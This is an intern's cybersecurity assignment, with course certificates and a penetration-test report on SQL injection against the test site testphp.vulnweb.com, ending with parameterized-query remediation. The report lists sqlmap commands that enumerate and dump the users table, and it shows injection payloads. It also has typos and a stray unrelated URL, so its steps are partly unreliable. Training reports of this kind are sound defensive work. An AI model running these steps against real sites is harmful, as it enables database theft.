

# 4N6 Cyber Resilience Internship

## ASSIGNMENT(Set-1)

### 1. Certifications

#### Penetration Testing



## Incident Response



## AI for Cyber Security (Fundamentals)



Issued 18th December 2020, futurelearn.com/certificates/ksvg5qp



### Certificate of Achievement

# Vanshika Gupta

has completed the following course:

**DIGITAL SKILLS: ARTIFICIAL INTELLIGENCE**  
ACCENTURE

This online course helped discover the potential of Artificial Intelligence (AI) and how it can change the workplace. It enhanced understanding of AI with interesting facts, trends, and insights, and helped to explore the working relationship between humans and AI.

3 weeks, 2 hours per week

Camilla Drejer  
Director  
UKI Corporate Citizenship

# accenture

The person named on this certificate has completed the activities in the attached transcript. For more information about Certificates of Achievement and the effort required to become eligible, visit [futurelearn.com/proof-of-learning/certificate-of-achievement](https://futurelearn.com/proof-of-learning/certificate-of-achievement).

This certificate represents proof of learning. It is not a formal qualification, degree, or part of a degree.

Vanshika Gupta (vanshikagupta2900@gmail.com)



## Vanshika Gupta

has completed the following course:

### DIGITAL SKILLS: ARTIFICIAL INTELLIGENCE ACCENTURE

86%  
OVERALL  
SCORE

This online course helped discover the potential of Artificial Intelligence (AI) and how it can change the workplace. It enhanced understanding of AI with interesting facts, trends, and insights, and helped to explore the working relationship between humans and AI.

#### STUDY REQUIREMENT

3 weeks, 2 hours per week

#### LEARNING OUTCOMES

- Describe the origins and advent of AI
- Explain the relationship between AI and Automation
- Reflect on the application of AI to your own context
- Identify key shifts in the workplace influenced by AI
- Assess the impact shifts in the workplace may have on roles and responsibilities
- Identify how the relationship has changed between AI and humans
- Identify future skills required to work and interact with AI
- Produce an action plan to adapt your skills for the future

#### SYLLABUS

##### Week 1: Introduction to Artificial Intelligence

- What is Artificial Intelligence and where did it come from?
- AI in Action
- What does this mean for me?

##### Week 2: Artificial Intelligence in Industry

- Impact of AI on Individuals
- What does this mean for me?

##### Week 3: Adapting your skills to work with Artificial Intelligence

- How has the relationship changed between AI and Humans?
- Imagining the Future

This transcript should be read alongside the accompanying Certificate of Achievement.  
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## 2. Penetration Testing Report

Vulnerability – SQL injection (Database Hacked)

Site: <http://testphp.vulnweb.com>

### Executive Summary:

I have found security vulnerabilities on site <http://testphp.vulnweb.com> issue I found OWASP Top1 SQL Injection Which most top critical issue I found on your site. This grey box assessment was performed to identify loopholes in application from a security perspective

### Description:

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

### Reproduce Of steps:

1. Visit <http://testphp.vulnweb.com/serach.php?test=query> here test= parameter is error based vulnerable for SQL injection

Now,

For checking SQL injection we basically used ' " + - -

Here I change Parameter Value <https://cbl.iq/search?word=hello> (Add ")

Now As response:



Now In above picture we got sql syntax error that mean attacker can take full advantage of it and full database compromised

2. Now Then I use Sqlmap to extract data base of your website <http://testphp.vulnweb.com>

To determine the databases behind the web site then used this command on sqlmap terminal **sqlmap -u <http://testphp.vulnweb.com/serach.php?test=> --dbs** (--dbs for DBMS databases)

**Result:**

```
***
Parameter: test (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: test=' AND (SELECT 1708 FROM (SELECT(SLEEP(5)))YqvD)-- wWZF

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: test=' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x44756b43545a4e7

***
[02:18:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[02:18:13] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
```

As above picture we successfully able to extract db name of your website DB

**acuart**

**Information\_schema**

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```
sqlmap --url http://testphp.vulnweb.com/serach.php?test=%27 -D acuart --tables
```

[illegible]

```
File Edit View Search Terminal Help
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: test=' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x44756b43545a4e71
6c6754676274637141477a50496c6c525a524b777571524c6b50624751777272,0x71786a7071),N
ULL-- uUpG
---
[05:41:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[05:41:26] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured|
| guestbook|
| pictures|
| products|
| users   |
+-----+
```

4. Now, we want to gain more information about users table then type the following command

```
sqlmap --url http://testphp.vulnweb.com/serach.php?test=%27 -D acuart -T acuart --columns
```

## Result:

```
---
[05:58:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[05:58:35] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type          |
+-----+-----+
| address | mediumtext    |
| cart    | varchar(100)  |
| cc      | varchar(100)  |
| email   | varchar(100)  |
| name    | varchar(100)  |
| pass    | varchar(100)  |
| phone   | varchar(100)  |
| uname   | varchar(100)  |
+-----+-----+
```

As above pic we retrieved User pass email phone address columns present in **users** table

5. Now, gain the attribute values such as “**uname, pass, email, address**” present in the table “**users**”

I used command:

```
sqlmap --url http://testphp.vulnweb.com/serach.php?test=%27 -D acuate -T users -C
uname,pass,email,address --dump
```

## Result:

```
[06:08:10] [INFO] fetching entries of column(s) 'address, email, pass, uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+-----+-----+-----+
| uname | pass | email          | address |
+-----+-----+-----+-----+
| test  | test | email@email.com | 21 street |
+-----+-----+-----+-----+
```

Here we successfully able retrieved **uname, password, email** and **address**.



## Impact and Risk

With no mitigating controls, SQL injection can leave the application at a **high-risk** of compromise resulting in an impact to the **confidentiality**, and **integrity** of data as well as **authentication** and **authorization** aspects of the application.

An adversary can steal sensitive information stored in databases used by vulnerable programs or applications such as user credentials, trade secrets, or transaction records. SQL injection vulnerabilities should never be left open; they must be fixed in all circumstances. If the authentication or authorization aspects of an application is affected an attacker may be able login as any other user, such as an administrator which elevates their privileges.

## How to prevent SQL injection:

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

```
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
```

```
Statement statement = connection.createStatement();
```

```
ResultSet resultSet = statement.executeQuery(query);
```

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

```
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
```

```
statement.setString(1, input); ResultSet resultSet = statement.executeQuery();
```

Parameterized queries can be used for any situation where untrusted input appears as data within the query, including the **WHERE** clause and values in an **INSERT** or **UPDATE** statement. They can't be used to handle untrusted input in other parts of the query, such as table or column names, or the ORDER BY clause. Application functionality that places untrusted data into those parts of the query will need to take a different approach, such as white-listing permitted input values, or using different logic to deliver the required behavior.

Hope You will fix this issue soon

Best Regards

Cyber Resilience Intern (D4N6)